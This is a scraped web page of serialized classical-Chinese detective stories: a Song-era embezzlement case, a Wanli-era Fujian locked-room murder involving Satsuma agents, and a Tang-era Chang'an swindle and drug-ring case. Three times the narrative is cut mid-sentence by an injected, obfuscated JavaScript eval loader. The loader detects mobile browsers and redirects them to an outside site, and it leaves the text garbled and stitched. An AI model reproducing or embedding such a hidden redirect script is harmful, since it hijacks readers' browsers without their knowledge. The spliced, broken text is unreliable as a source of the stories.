l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088156|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》‘敬敷五教’之训,何以私运官银?”末四字如雷,管事手中文书坠地。 (三)礼法合谳诀 陈州粮社内堂檀香袅袅。主位陈太尉之弟陈知俭,清癯老者。听罢推论,抚掌笑:“白先生果然名不虚传。然先生可知,那三十万贯今在何处?” 不待答,自袖取账簿:“皆在此——拨郑州河工十五万,汝州疫区十万,余五万购药种,分河北流民。”白慕斗接细观,每笔皆有州县印信,开支明细至“某日购麻绳三百尺、某日付力夫工钱五十文”。 “此乃…”抬首。陈知俭敛容正色:“家兄上月巡河防,见郑州堤堰朽坏,报三司,三月无回音。汛期将至,不得已出此下策。”稍顿,“家兄云:《春秋》僖公三年,‘春王正月,不雨’,左氏谓‘不书旱,不为灾也’。今河将溃,三司不报,岂待‘夏大旱,饥’方为灾乎?” 白慕斗默然良久,将簿轻推回:“《唐律》载‘擅用官物,准盗论’。纵有万般理,法度不可违。”陈知俭惨笑:“那便请先生拿我见官。然河工款,已拨矣。” “非也。”白慕斗忽道,“学生今日,乃来请益《春秋》。”起身揖,“庄公十九年,‘公子结媵陈人之妇’,谷梁子解‘礼,大夫无遂事’。今太尉越权擅专,固有罪。然《春秋》亦褒‘宋襄公不擒二毛’,以其存仁。学生愿仿此例——贪墨案,吾续查;河工款,请太尉补手续,学生可作证。” 陈知俭怔,忽老泪纵横,深拜及地。 三、刑礼相生鉴 白慕斗离陈州粮社时,暮色已浓。参军门外久候,忍不住问:“先生真不究?”白慕斗望汴河渔火:“《尚书》云‘刑期于无刑’,刑律之极乃无需用刑。今若拘泥条文,河工无银则堤溃人亡,疫区无药则饿殍遍野——此方为大罪。” 自怀取焦页,就河灯再观。“今当解此谜。”指“泓”字交叠处,“观此笔锋转折,带魏碑意。而神宗朝后,科举禁碑体——此字,乃不赴科举者所书。” 参军灵光闪:“内侍!惟宦官不考科举!”白慕斗颔首:“再思,何人可触宫漆,可调废军船,可仿三司印泥?”望皇城方向,“西京留司老监,无此能。然其上司有。” 三日后,西京大内传:掌内库副都知急病暴卒。同日,太子宫请迁新址,旧宫拆梁时,现三十万贯“遗”银——正那批宣和通宝。朝发上谕,嘉“太子宫人忠谨,献银助河工”,又诏褒陈太尉“预支俸禄济灾民”,惊天案化佳话。 惟嵩山书院夜读学子知,那夜白先生房烛通宵未灭。晨扫时,见案摊《春秋公羊传》,“宋公与楚人战于泓”旁添蝇头注: “泓之败,败于迂;此案之解,解于权。然权不逾礼,变不越经。今人以权变济苍生,虽违律而合道——孔子作《春秋》,乱臣贼子惧;吾辈读《春秋》,当知经权之辨,犹水载舟亦覆舟也。” 窗外春雪忽降,覆书院青瓦。山道有马车夜离京,云陈太尉自请戍边。白慕斗立山门,视车没雪幕,轻诵《诗》: “战战兢兢,如临深渊,如履薄冰。” 参军不知何时至身后,低声问:“先生,此案破否?”白慕斗回身哂,自袖取铜钱——乃那夜沙船拾得宣和通宝。弹向空,接握掌中:“汝言,此钱乃赃物,抑或河工救命钱?” 不待答,已踱向书院深处。雪地留行浅痕,旋为新雪覆。 这正是: 嵩阳雪压老柏枝,断简焦痕藏玄机。 暗渠通银走洛水,明堂悬镜照鬼蜮。 春秋大义谳刑礼,经权相济解苍黎。 莫道律法无变处,民为舟水载覆时。 5. 闽海雾锁密室谳,法舟破雾定海针 万历二十七年四月初六,福清县令林惟明在签押房对烛观《闽海防倭图说》。烛火忽跳,他抬眼见窗外桃枝乱颤——是海风,带着咸腥气。这咸腥不同往常,隐隐混着铁锈与硝石味。他推开窗,见东南天际阴云低垂,想起上月兵部咨文:“倭国关白丰臣秀吉新丧,诸藩不稳,当严防浪人滋扰。” 门扉轻响,老仆林忠端茶入内,低声道:“老爷,东门黄记米行伙计在外厢候了半个时辰,说有急事。” 林惟明搁下书卷:“带进来。” 进来的青衣伙计满面尘灰,扑通跪倒,从怀中取出一封血书。林惟明展信,十六个鸡血写的字触目惊心:“四月初七,子时三刻,黄氏米行,满门绝户。” “何时所得?” “今晨开铺,信插在门缝。掌柜看了脸白如纸…”伙计叩首,“这半月总说有人盯梢,昨夜二更,米仓有异响。” 林惟明将信纸凑近烛火。纸是闽地毛边纸,血渍暗红,边缘有晕染——鸡血掺了清水。左下角一点淡黄粉末,细如尘芥。他用银簪轻挑,就烛细辨,忽然道:“这是倭国产的‘山归来’花粉,闽地并无此物。你家掌柜近日可见过倭人?” 伙计浑身一颤,伏地不敢言。林惟明摆手:“你先回,告诉你家掌柜,今夜本县会去。” 一、密室现形录 (一)市井凶兆 未时三刻,林惟明换上市井短衣,踱到东门大街。黄氏米行铺面三间,黑底金字招牌被海风蚀得泛白。他在对街茶摊坐下,要了碗粗茶,目光锁着米行动静。 申时刚到,米行卸下门板。掌柜黄守业立在槛内朝四方作揖——三十年老铺的规矩,取“四方来财”之意。但今日他作揖时,右手小指一直在颤,像被无形的线牵扯。 茶博士添水时低语:“客官是外乡人?这黄记可邪乎——昨夜打更的陈老汉说,瞧见他家二楼飘绿火,像鬼灯笼。” 林惟明不动声色。目光扫过米行二楼,最西那扇窗的窗纸新糊,可窗棂有道笔直裂缝,非风雨侵蚀,倒像被薄刃划过。他搁下两文钱起身,行至米行门前佯装趔趄,袖中三枚铜钱滑落,正滚到门槛内。 黄守业弯腰拾钱。林惟明瞥见他后颈衣领沾着淡黄粉末,与信上粉末一般无二。 “掌柜的沾了花粉?” 黄守业浑身一震,强笑道:“后、后院桃树落的。”说话时,眼角不自觉瞟向西窗。 林惟明拱手告辞。转过街角,摊开掌心——方才弯腰时,他已从门槛缝中抠出点东西:半粒海盐结晶,边缘粘着黑色海泥。 (二)密室初勘 子时三刻,林惟明带衙役围了米行。门内死寂,唯有海风穿过檐角呜咽。 破门而入,油灯尚温,一桌饭菜未动。黄家七口端坐堂中——老掌柜夫妇、两个儿子、儿媳、及一双孙儿孙女,俱已气绝。面色如常,似忽然睡去,唯七人右手小指皆微微弯曲,形如握物。 仵作验后禀报:“无外伤,无中毒迹象,脏腑完好。” 林惟明擎灯细看地面。青砖地积薄灰,却无外人足迹。门窗自内闩死,屋瓦完好,烟囱窄不容人。 他行至西窗,就灯看那道裂缝。银簪轻探,簪尖带出暗红铁锈。窗棂分明新漆,何来铁锈?沉吟间,忽见窗台有处刮痕,形如弯月,深三分,宽一指——是刀痕。 “福清城中,谁用这般窄刃倭刀?” 老捕头颤声:“自嘉靖年后,私藏倭刀者罪同通敌…” 林惟明不语,命人取石灰粉撒地。须臾,数行极淡足迹显形——草履印,前趾分叉,正是倭人“足袋”压痕。足迹自西窗起,至中堂而没,返程时竟消失无踪。 “凶手足迹有来无回?” 林惟明蹲身细察,见石灰上有极细微反光,宣纸轻拓,是几粒海盐结晶。他霍然起身:“开仓验米!” (三)海气寻踪 米仓在后院,门锁完好。砸锁入内,三千石白米堆积如山。林惟明命人从西北角开簸,至第三层,米堆泛潮气。拨开湿米,下埋七具倭人尸首,颈间皆一道细痕,与西窗刀痕吻合。七人右手虎口厚茧,左腕俱有菊纹刺青。 老捕头倒吸凉气。林惟明验看伤口:“刀口左深右浅,凶手下刀时站在对面——是熟人作案。伤口皮肉外翻,刀在肉中拧过半圈,这是倭国‘居合斩’。”他翻看第六具尸身袖袋,寻得片七彩鱼鳞,“深海鲷鲤鳞,离水三日不褪色。此人死前接触过新鲜海货。” 又验第七具尸身,在腰带夹层发现张倭文纸片。林惟明幼时随父驻防登州,略通倭文,辨出其上数字:“金三百两…四月初五…定金…” 正是血书出现前两日。 “此七人方是真凶。他们藏身米仓,待黄家聚于堂中,自暗门出,杀人后返。然有第八人…”林惟明望向东方,“灭口者自海上来,且与死者相识。” 二、官民合谳录 (一)渔谚指凶 次日晨,林惟明布衣登海堤。潮水初退,滩涂上老渔夫正补网。他蹲身帮拾梭子:“老丈近日可见异样船只?” 老渔夫头也不抬:“官爷是问那‘无灯船’?三月廿九夜,有船泊外沙,整夜不见灯火。吃水浅,船头翘,帆是百衲补的——只有倭国穷浪人才这般凑合。”抬眼时目光如鹰,“倭乱三十年了,可渔家有老话:‘海雾带腥要起风,倭船无灯必带刀’。” 林惟明摸出碎银。老渔夫不接,指滩涂足迹:“那夜有八人涉水上岸,脚印往黄家米行后巷。小老儿在巷口撒了把牡蛎壳——”缺牙的嘴咧开,“穿草履的踏壳而行,声如掐□□。” 当夜,林惟明于城隍庙召全城更夫、粪夫、巡夜壮丁。不点官烛,燃三柱线香,青烟中说:“今日不以县令身份,只作乡亲问话。近日可闻异事、见异人——不拘大小,皆可道来。” 静默良久,东门粪夫王哑比比划。通译道:“他说三日前掏东巷沟,捞出个铁丸,上有菊纹。”呈上之物鸽蛋大小,铁锈斑斑,但菊纹清晰——倭国贵族家徽。 (二)市井布网 四月初八,市舶司前贴出告示:县令夫人寿辰,高价收新奇海货。未时刚过,市舶司前挤满渔民。林惟明扮账房坐竹帘后,目光如筛。 申时三刻,精瘦汉子提桶近前。桶内三尾鲷鲤,鳞泛七彩,与倭人尸身所藏一般无二。林惟明拊掌:“好鱼!客官要价几何?” 汉子眼神闪烁:“不敢要价,只求老爷赏个营生。”说话间袖口微抖,落下星点黄粉。 林惟明故作不见:“可会使倭刀?” 汉子浑身剧震,桶坠地,鱼跃出。不待动作,左右“渔民”已拧臂锁喉——衙役所扮。搜其身,怀揣短柄倭刀,刀柄菊纹与铁丸相同。 (三)海商暗账 押回县衙,不待用刑,汉子已瘫软。供称名岛津次郎,萨摩藩岛津氏支族。因家主岛津义弘参与侵朝兵败,今年正月被德川家康削封,遣他们八人携重金来明,欲购火器翻盘。 “郑沧浪说,黄家账簿记有福建兵备道火铳买卖渠道…”岛津次郎叩首,“三月廿九夜潜入米仓后,组长小西在暗门处听见郑家管家说:‘德川大人的使者已到,这些萨摩倭人留不得’。原来郑沧浪早投靠德川氏,欲吞我等购械金邀功!” 他颤声道:“小西怒杀护院,返仓时黄家已死。平田突然发难,说他是德川派来监视郑沧浪的忍者。混战时暗门外射来冷箭…”扯开衣襟,露出新月状疤痕,“箭贯平田后心,余势钉入我胸三分。小的习‘铠通术’缩肌,方未殒命。装死时听见暗门外收弓声,靴声沉缓似老者。” “箭在何处?” 岛津次郎自怀取断箭:“埋尸时从平田伤口拔出。箭杆近簇处,刻有寸许‘戚’字。” 林惟明目光一凛。戚字箭,乃戚继光平倭时特制,战后应收缴销毁。私藏者,罪同谋逆。 “郑沧浪现在何处?” “应在他商行地窖。真账另藏…”岛津次郎叩首,“小的愿带路!” 三、闽海鉴真录 (一)金砖藏秘 郑氏商行后园,妈祖祠堂香烟缭绕。林惟明命移神龛,果见地铺金砖。左数第三块敲之空响,撬起后,下压鲨皮包裹,内藏三账。 一为明账,记正经海贸;二为暗账,载私倭交易;最下那本以油布密封,竟是萨摩藩主与闽浙官员密信抄本。 林惟明翻至末页,见朱批:“万历二十四年春,付琉球使金二百两,令通市舶。”正要细勘,忽凝目观纸,取水壶淋账页。水渍漫开处,“万历二十四年”墨迹竟化,露出底层“嘉靖四十四年”字迹。 他冷笑:“揭白补字之术!此页原为嘉靖旧纸,被人揭去表层补写。”撕开纸角露夹层,“且看这‘嘉靖四十四年’原字——墨色沉黯,松烟墨;补字鲜亮,油烟墨。”将账页凑近烛火,底层浮现淡淡菊纹。 “倭纸!”老捕头骇然。 “倭国鸟子纸以楮皮掺紫藤花汁,遇热显菊纹。”林惟明目视梁上,“此人不仅是忍者,更是制伪高手。伪造旧账,欲陷我朝老臣——嘉靖四十四年,闽浙正厉行海禁,岂有走私?” 话音未落,梁上机括声响。林惟明侧身滚地,三支喂毒弩箭钉入蒲团。衙役破梁擒人,却是郑沧浪心腹账房,已咬毒囊自尽。搜其身,得“风魔手里剑”三枚,柄刻菊纹。 “去市舶司。” (二)潮信定时 市舶司堂上,郑沧浪昂然不跪:“林知县,昨夜有八百里加急往杭州,你可知晓?” 林惟明不答,展潮汐表于案:“三月廿九夜子时,梅花所外海涨大潮,倭船趁潮而入。四月初五同一时辰,该船再次入港——那夜你在码头,接的是德川使者,对否?” 郑沧浪色变。林惟明又抛焦黑船板:“此板取自黄家暗渠。木质是倭国椶木,焦痕乃闽产硫磺所致——有人故意焚船灭迹。能在福清港公然焚船者,”目如利剑,“除了掌港口巡检的市舶司,还有谁?” 堂外喧哗。门子报:“市舶司郑提举到!” 绯袍官员昂然而入,先发制人:“林知县无端锁拿良商,惊扰海神祠,该当何罪?”又指岛津次郎,“这倭寇分明细作!” 林惟明自袖中取菊纹铁丸。“提举可识此物?” “寻常铁丸…” “非也。此乃倭国‘早合’火铳弹丸。嘉靖年间戚将军缴获倭铳,载于《纪效新书》:‘早合铳,丸刻菊纹,以辨弹道’。”翻转铁丸,亮底部细如发丝的刻痕,“刻的是‘市舶司封’四字篆文——是市舶司验过的火器。” 满堂死寂。林惟明又取账簿,翻至某页:“万历二十六年八月,市舶司收萨摩藩‘勘合银’五千两,批注‘验倭铳三百杆,许入港’。依《大明律》,私验军器者斩,受贿纵夷者族。这账上盖的,可是你衙署官印?” 话音未落,堂外鸣锣。门子踉跄来报:“抚台大人到!” 福建巡抚着仙鹤补子绯袍入堂,先对林惟明拱手:“本院巡察至此,闻有奇案,特来旁听。”又瞥郑提举,“郑大人脸色不好?” 郑提举扑通跪倒。 (三)民舟载法 三日后,巡抚邀林惟明登鼓山观海亭。时值暮春,东南风急,海上雾气如纱。 巡抚凭栏望海良久,忽道:“郑提举在狱中撞墙自尽,留血书指认闽浙十二官员。若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088157|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依此查办,福建三司皆有牵连。” 林惟明自袖中取账簿,当巡抚面撕碎投火。“大人,方才烧的是暗账副本。真账在此——”又取鲨皮账册,“此册只记郑沧浪与萨摩藩近年走私,不涉官员。至于伪账…”他从炭火中抽出半焦纸页,上见“嘉靖四十四年”字样,“此页墨色泛金,乃用倭国‘金墨’所书,遇火不燃——是倭人伪造的旧账。” 巡抚愕然:“何以见得?” “嘉靖四十四年,闽浙严行海禁。若真有走私,岂会用倭国特制金墨记账?此墨配方载于《日本考》,乃天正年间方由倭国相国寺僧所创。”林惟明抖开账页,“更关键者,账上所列‘泉州卫千户张威’,下官查过卫所档案,此人嘉靖三十八年已战殁鹭岛。” 巡抚细看账页,果见“张威”名下记“收倭刀三十柄”,日期却是“嘉靖四十四年五月”。他沉吟道:“倭人伪造旧账,意在何为?” “一为离间,二为试探。”林惟明指向海雾深处,“岛津次郎供称,萨摩藩谋士有言:‘明国官员最惧旧账,若以伪造旧账投石,可观其惶惧之态,择可乘者而攻’。” 巡抚色变:“好毒计!若本官据此查办,岂不正中下怀?” “故而下官已调换账册。伪账昨夜已焚于戚公祠前,灰烬撒海。”林惟明望千帆过处,“嘉靖倭乱时,胡宗宪总督曾言:‘治倭如治水,堵则溃堤,疏则安澜’。今若因伪账兴狱,闽海官场自危,倭寇必乘隙而入。” 巡抚沉默良久,深揖及地:“非林知县明察,几误大事。”起身时目有深意,“然真账中郑提举、郑沧浪之罪…” “铁证如山。”林惟明自怀取判词,“郑提举受贿纵夷,依《大明律·兵律》‘私出外境及违禁下海’条,当斩;郑沧浪私通倭国,依‘谋叛’条,判凌迟。家产抄没,七成拨修闽安镇海防,三成抚恤抗倭烈属。” 他展开附录:“另有七名官员涉案较轻,多为被迫收受薄礼。下官已将其过犯另册密呈,请大人暗察以观后效。” 巡抚接过青布袋,入手沉重。正欲开口,忽闻亭外弓弦震响。凭栏望去,见校场上一皓首老卒正教弓手开弩,每拉满弦,必吼:“嘉靖——” 年轻弓手齐应:“平倭!” 吼声在潮声中回荡。巡抚忽道:“那射箭老卒…” “是西门更夫邢三彪。”林惟明自袖中取半截箭杆,“此人昨夜本欲携此箭祭子——其子万历二十一年战殁平壤。路遇倭踪,方发此矢。箭上‘戚’字乃戚将军亲笔,血沁三层,见证南澳、林凤、朝鲜三役。下官已令其戴罪教习。” 巡抚抚箭长叹:“自嘉靖三十二年起,倭患绵延甲子。今见此箭,如见戚将军虎威犹在。”他转身凝视林惟明,“林知县,朝中已有御史参你‘擅焚罪证、纵放倭谍’。” 林惟明笑指海上渔船:“大人请看那些撒网船。渔人下网,必留网眼——小鱼漏而大鱼存,方可生生不息。治国若捕鱼,网眼大小当随潮汛而变。今德川氏初掌倭国,萨摩藩困兽犹斗,正宜示之以威、怀之以德。若此时网眼过密,小虾俱擒,反逼群鱼撞网。” 他自怀中取潮汐表:“下官有三策:一曰‘固防’,以赃款修闽安镇炮台;二曰‘清源’,严查私通;三曰‘用间’,释岛津次郎回萨摩,传语‘明国只认德川为倭主’——令其内斗自耗。” 巡抚拊掌:“好个‘威德并施’!只是那黄家…” “黄守业罪在私通倭商、囤粮抬价,然其七口横死,已受天诛。依《大明律》,罪人伏法后,当许归葬。”林惟明望山下送葬队伍,“今日百姓送葬,送的不是黄家,是‘王法’二字。三十年来,黄家倚仗海贸勾结官府,百姓敢怒不敢言。今其罪迹昭彰、依法而断,方显天道至公。” 四、潮信柱铭 半月后,福清城隍庙前设公审。林惟明当堂宣判: “郑提举依《大明律·兵律》‘盘诘奸细’条,斩;郑沧浪依‘谋叛’条,凌迟。家产抄没,七成拨修海防,三成抚恤万历二十一年援朝战殁将士遗属——此据《问刑条例》‘赃物偿边’款。” 又判:“岛津次郎助擒真凶,依《刑台法律》‘外国人立功减等’例,免死,发登州卫充通译。邢三彪私藏军械,本应重处,然其射杀倭谍,依《大明令》‘军民擒斩倭贼赏格’,功过相抵,留巡检司教习。” 巡抚亲题匾额:“海疆之治,在明潮信;刑狱之平,在察真伪。” 黄家出殡那日,老妇焚借据于棺前,对众言:“今日老身焚此债契,非恕黄家,乃信王法。自此之后,福清城内大斗小秤之事当绝矣!”围观众人纷纷应和,有粮商砸毁小斗,有当铺焚毁重利借据。 三日后,林惟明命人在黄家坟前立青石柱,上刻: “万历二十七年四月初七,黄氏以通倭、盘剥伏法。石柱在此,潮涨则没,潮退则现——但使闽海有潮信,此柱不倒;但使世间存公道,此案可鉴。” 立柱那日恰逢大潮。海水淹至“公”字而退,石柱巍然屹立。有老书生叹道:“昔年胡总督筑定海城,今林知县立潮信柱,皆寓‘法度如潮,有进有退’之意。” 亭外校场,邢三彪挽弓如满月,弦响箭出,正中百步外箭靶红心。海风送来老卒嘶吼,与潮声共鸣: “嘉靖——平倭!万历——靖海!” 声浪穿云,惊起一群白鹭,向着浩渺东海振翅而去。 这正是: **闽海春深雾锁衙,密室无痕血作花。 伪账难遮真法眼,潮柱永立证黄沙。 三朝箭镞诛倭寇,一纸判词安岁华。 莫道密室天难问,官民同舟即法槎。** 6. 胭脂虎谳 胭脂虎谳 楔子长安妖市 长安西市有“胭脂虎”,非猛兽也,乃一奇骗。贞观某岁秋,市井忽传“银簪化金”之术:有老妪持银簪过市,遇青衫道士,以药水涂抹,银簪顿成赤金。围观者数十,皆见老妪簪换金钗,欢天喜地归。旬日内,此术传遍百坊。 大理寺司直裴明远,时年廿八,青衫瘦骨,好读《疑狱集》。闻此事,与老书吏对坐值房,以指叩案:“银化金,古有‘药金’之术,乃水银杂锡铅为之,色似金而质脆。然市井能公然施术,必有三诈:一诈在药,二诈在人,三诈在托。” 老吏斟茶道:“裴司直明鉴。昨日永兴坊有布商被骗三百贯,道是亲眼见道士化银为金,遂倾囊购药水三瓶。归家试之,药水唯染黄铜,真银丝毫不变。” “证人可寻得?” “那老妪已无踪,道士自称终南山炼气士,昨日亦遁去。”老吏忽压低声道,“然有一事蹊跷——布商言,道士施术时,曾以青帕拭簪。老朽疑那帕中有诈。” 裴明远推窗望西市方向,暮色中灯火初上,忽然道:“备马,去西市。” 一、 青帕玄机 西市胭脂铺前,人踪已稀。铺主是寡妇周氏,年过四旬,梳着时兴的倭堕髻,鬓边一支银簪却是旧物,接口处有修补痕迹。见官差来,她从容万福:“妾身今日见那道士施术,就在铺前三步地。” “可记得青帕样式?” “素青棉帕,四角绣赭色云纹。”周氏自柜台取出一方帕子,“与这帕相似,只是云纹在四角,不在中央。” 裴明远接过细看,帕是寻常棉布,但对着夕阳一照,布纹间有极细金线反光。他取腰间水囊,倒少许清水在帕上,水渍迅速晕开,形成古怪纹路——竟是一幅简易西市地图,标着三处胭脂铺位置。 “这帕…”周氏色变。 “帕是特制,以明矾水画图,遇水则显。”裴明远叠起帕子,“那道士与你,本是一伙。” 周氏跌坐椅中,良久惨笑:“大人如何看破?” “你鬓边银簪,”裴明远指她发髻,“接口修补用‘锉金银’之法,这是宫内匠人手艺。一市井寡妇,何来此物?” 话音未落,后堂帘动,那青衫道士闪出,手中已多了一把短刀。但他未扑向裴明远,反手一刀划开柜台布帘,露出后面暗格——内藏十余锭“金”,在烛光下闪着诡异赤色。 “药金在此,”道士弃刀冷笑,“大人既看破,某无话说。只是有一事不明:某这‘化银术’施了七次,前六次都无人识破,何以今日…” “因你贪了。”裴明远拾起一锭药金,以指甲轻刮,金粉下露出铅灰,“前六次,你找的皆是行商、游侠,骗罢即走。第七次却骗布商三百贯——此人在长安有十间铺面,岂会善罢甘休?且你用的托儿,”他看向周氏,“鬓簪露了破绽。” 道士颓然跪倒。此时门外忽然涌入七八个市井人物:卖胡饼的突厥老汉、弹琵琶的盲眼乐师、补瓷器的郑瘸子…众人围住道士,那郑瘸子竟扔了拐杖,行动如常。 “大人,”突厥老汉操着生硬汉话,“这厮骗了某家女儿嫁妆银三十两,某等暗中盯他三日了。” 盲眼乐师“睁”开浑浊的眼:“老朽眼盲耳不盲,这厮与周寡妇夜半私语,说‘再做三票便去洛阳’,老朽听得真切。” 二、 三诈连环 道士与周氏押回大理寺。夜审时,道士供出姓名王九郎,原为太常寺丹药坊匠人,因私炼丹药被逐。所施骗术确有三层: 一曰“染银术”。非真化银为金,是以特制药水涂银,药水含硫磺、雄黄、硇砂,遇银产生赤色硫银膜,观似鎏金。此法只能维持半个时辰,色褪后银簪如故。 二曰“青帕计”。拭簪时,以帕中暗藏的真正金粉抹在簪头。簪本银,头抹金,观者但见簪头金光灿烂,便信全簪已化金。那金粉极细,遇汗即粘,半日后自然脱落。 三曰“连环托”。周氏是第一托,佯装路人得利;突厥老汉是第二托,在人群起哄“真神术也”;郑瘸子是第三托,假意抢购药水。三人轮番上场,诱人入彀。 裴明远录罢供词,忽问:“你那药水,用了几味药?” 王九郎一怔:“硫磺、雄黄、硇砂、硝石、绿矾…共九味。” “不对,”裴明远摇头,“还少一味‘金汁’。” “金、金汁?”王九郎愕然,“那是秽物,入药作甚?” “金汁可解硫毒。你那药水染银后,簪会带硫毒。老妪若真戴了,不出一日,颈项必起红疹。”裴明远直视他,“所以那老妪,根本没戴簪——她也是你的托儿,对否?” 王九郎面如死灰。堂外忽然传来老妪哭声,竟是周氏之母,由两个坊正押来。老妪扑倒在地:“大人明鉴!老身不知那是骗术,女儿只说借簪一用,能得三钱银子…” 裴明远叹息。此案至此,已牵扯五人:王九郎主谋,周氏、突厥老汉、郑瘸子为从,老妪为不知情工具。但他心中仍有一疑:王九郎一介被逐匠人,如何能制出那般逼真的药金? 三、 金蛇脱壳 三日后,裴明远暗访太常寺丹药坊。坊中老匠人见官符,不敢隐瞒:“王九郎确曾在此,但他炼丹术平平。大人说的药金,需用‘波斯金法’——以水银、锡、铅、铜四金合炼,非十年功夫不成。” “长安城中,谁能为此?” 老匠人犹豫片刻,低声道:“平康坊南曲,有胡商穆萨,专售波斯丹药。但此人三日前已离长安,说是回西域贩琥珀。” 裴明远赶至平康坊,穆萨宅邸已空,只留个驼背老仆扫院。裴明远在宅中细查,于丹房炉灰里扒出一片未烧尽的纸,上有胡文数字。老仆哆哆嗦嗦道:“这是…账目。穆萨与王九郎有往来,用波斯金法换他的唐丹方。” “什么唐丹方?” “说是…能制‘寒食散’的改良方子。” 裴明远心中一凛。寒食散乃魏晋遗毒,本朝明令禁绝。若王九郎真以此方与胡商交易,所犯不止诈骗,还有私炼禁药之罪。 他即刻回衙,重审王九郎。此番用上刑具,王九郎终于吐实:那药金确是穆萨所制,他不过负责行骗分利。所谓“银簪化金”全是幌子,真正目的是借围观人潮,将寒食散混在“仙丹”中售卖。 “买者何人?” “多是赴考举子、熬夜账房、还有…”王九郎吞吞吐吐,“还有平康坊的乐伎。” 堂外忽然击鼓。门子来报,说有举子赵姓,服“提神丹”后狂躁伤人,现已押在门外。裴明远提人一问,所服丹药正是从“银簪化金”现场购得,卖药者是个哑女,收钱即走。 “哑女?”裴明远看向王九郎。 王九郎摇头:“某等并无哑女同伙。” 裴明远忽有所悟,疾步至案前,铺开西市地图。银簪骗局七次,地点连成一线,恰是条暗巷路径。他沿路径标出八个点,第七点正是赵举子购药处——但那里并非骗局现场,而是隔了两条街的笔墨铺。 “声东击西,”裴明远掷笔,“好一招金蝉脱壳!” 四、 计中之计 当夜,裴明远请来西市所有笔墨铺掌柜。其中刘掌柜见地图,忽然拍腿:“是了!那日确有哑女在铺前卖药,但她不是卖,是换——用一包‘提神丹’换书生手里的旧书。某见她可怜,还赠了十个铜钱。” “换书?”裴明远警觉,“换的什么书?” “都是《汉书》《后汉书》之类,本本破旧。”刘掌柜道,“但有一事古怪:那些书里,都夹着银票。” 裴明远豁然开朗。这不是简单的诈骗,而是条完整的黑链:王九郎团伙用“银簪化金”吸引注意,暗中观察谁人钱财外露;哑女记下目标,尾随至僻静处,以丹药换书——其实是要换书中夹带的银票;得手后,银票经穆萨换成波斯金币,丹药所含寒食散则让人上瘾,成为长期财源。 “那哑女现在何处?” 刘掌柜摇头。此时门外传来孩童笑声,是个总角小郎,扒着门框说:“哑女姐姐在废庙教我们折纸鹤,她还给了糖吃。” 裴明远蹲身柔声问:“什么废庙?” “晋昌坊的菩提废寺,就在放生池后面。” 裴明远即刻点齐差役,连夜奔晋昌坊。废寺中,哑女正在烛下分药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088158|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见官差来,不惊不逃,静静伸出双手。她年约二八,面容清秀,脖颈有旧疤,显是幼年被烫致哑。 搜其住处,得账册三本。一本记骗术所得,一本记丹药售出,最紧要的是第三本——上面密密麻麻记着买药人姓名,竟有百余,多是书生、小吏、商贾。每人名后标着“日三钱”“月一两”等字,竟是赊账记录。 裴明远翻至末页,见一行小字:“永徽三年腊月,穆萨约见于波斯寺,议定分利:金归彼,药归我,长安瘾者皆我牛羊。” 他合上册子,看那哑女。少女抬眸,眼中无悲无喜,以指蘸水在案上写:“妾本医家女,父因寒食散死。今以此术诱人服散,使知此毒之烈。大人所擒,皆妾故意留迹。” 烛火噼啪,映着她平静的脸。裴明远忽然想起《疑狱集》中语:“至毒之案,往往起于至痛之人。” 五、 法网经纬 案结,奏报呈上。王九郎以诈欺、私炼禁药判流三千里;周氏等从犯各杖一百、徒三年;胡商穆萨海捕文书发往各道;哑女因首告有功,且为父报仇,免死罪,发往太医署为药奴,终身不得出。 判词下达那日,裴明远邀西市百姓至大理寺前,当众焚毁所缴寒食散。浓烟升起时,他朗声道: “今日此案,诸君皆见骗术三诈:一诈炫目,以银化金惑人眼;二诈连环,以托作戏诱人心;三诈深毒,以丹为饵断人魂。然破之亦有三法——” 他自案上取银簪一支,药水一瓶,青帕一方: “一曰试真伪。凡遇奇术,勿轻信眼见。取水一杯,将所谓‘金物’浸入,真金沉而不染,药金水必泛黄。此谓‘水试法’,载在《墨娥小录》。” 又取寒食散一包,撒入火盆,顿时冒紫烟: “二曰察气味。寒食散遇火发紫烟,有腥气。凡街头所售‘提神丹’‘壮力散’,可索少许烧试。此谓‘火鉴法’,太医药典皆有载。” 最后展开那幅西市地图: “三曰观人事。凡骗局,必有三以上同伙互为犄角。若见一人炫术、二人喝彩、三人争购,当立刻远避,速报坊正。此谓‘察众法’,古之《市蠹录》言之甚详。” 百姓皆拜谢。忽有老书生问:“司直,那哑女真是为父报仇么?” 裴明远默然片刻,道:“其父确是医者,五年前因试寒食散新方身亡。然其复仇之法,已堕魔道——使百人染毒,何异于手刃百人?法理可悯其情,不可恕其行。” 他望向狱所方向,轻声道:“诸君当谨记:世间骗术,皆攻人心弱点。贪利者遇利诱,惧病者遇仙方,慕名者遇捷径。守心之法,唯‘平常’二字——不贪意外之财,不慕速成之功,不信无本之利。如此,虽百诈不能侵。” 暮鼓声中,人群散去。裴明远独坐堂上,将案卷收入檀木匣。匣盖上刻着大理寺诫铭: 